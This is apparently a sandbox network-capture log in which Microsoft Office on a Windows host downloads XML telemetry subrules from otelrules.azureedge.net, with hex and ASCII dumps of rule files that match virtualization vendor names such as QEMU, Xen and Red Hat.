2024-11-26 07:55:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075533Z-174f78459685726chC1EWRsnbg0000000v7000000000478t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:33 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075533Z-174f7845968vqt9xhC1EWRgten0000000v70000000003k9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:33 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:33 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075533Z-174f7845968zgtf6hC1EWRqd8s0000000n400000000041xc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:33 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:33 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075533Z-174f7845968l4kp6hC1EWRe8840000000va0000000009e6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:34 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:35 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075535Z-174f78459685m244hC1EWRgp2c0000000uvg00000000d5yu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:35 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:35 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075535Z-174f7845968xlwnmhC1EWR0sv80000000v00000000003wq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:35 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:35 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:35 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075535Z-174f78459688l8rvhC1EWRtzr000000007sg0000000047zn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:55:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:36 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075536Z-174f7845968kvnqxhC1EWRmf3g0000000e1g000000000qkb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:36 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075536Z-174f7845968nxc96hC1EWRspw80000000v00000000000a6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:37 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075537Z-174f7845968g6hv8hC1EWR1v2n000000035g000000000khw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:37 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075537Z-174f7845968qj8jrhC1EWRh41s0000000uz000000000bd66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:37 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:38 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075538Z-174f78459685726chC1EWRsnbg0000000v5g000000006bnb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:38 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
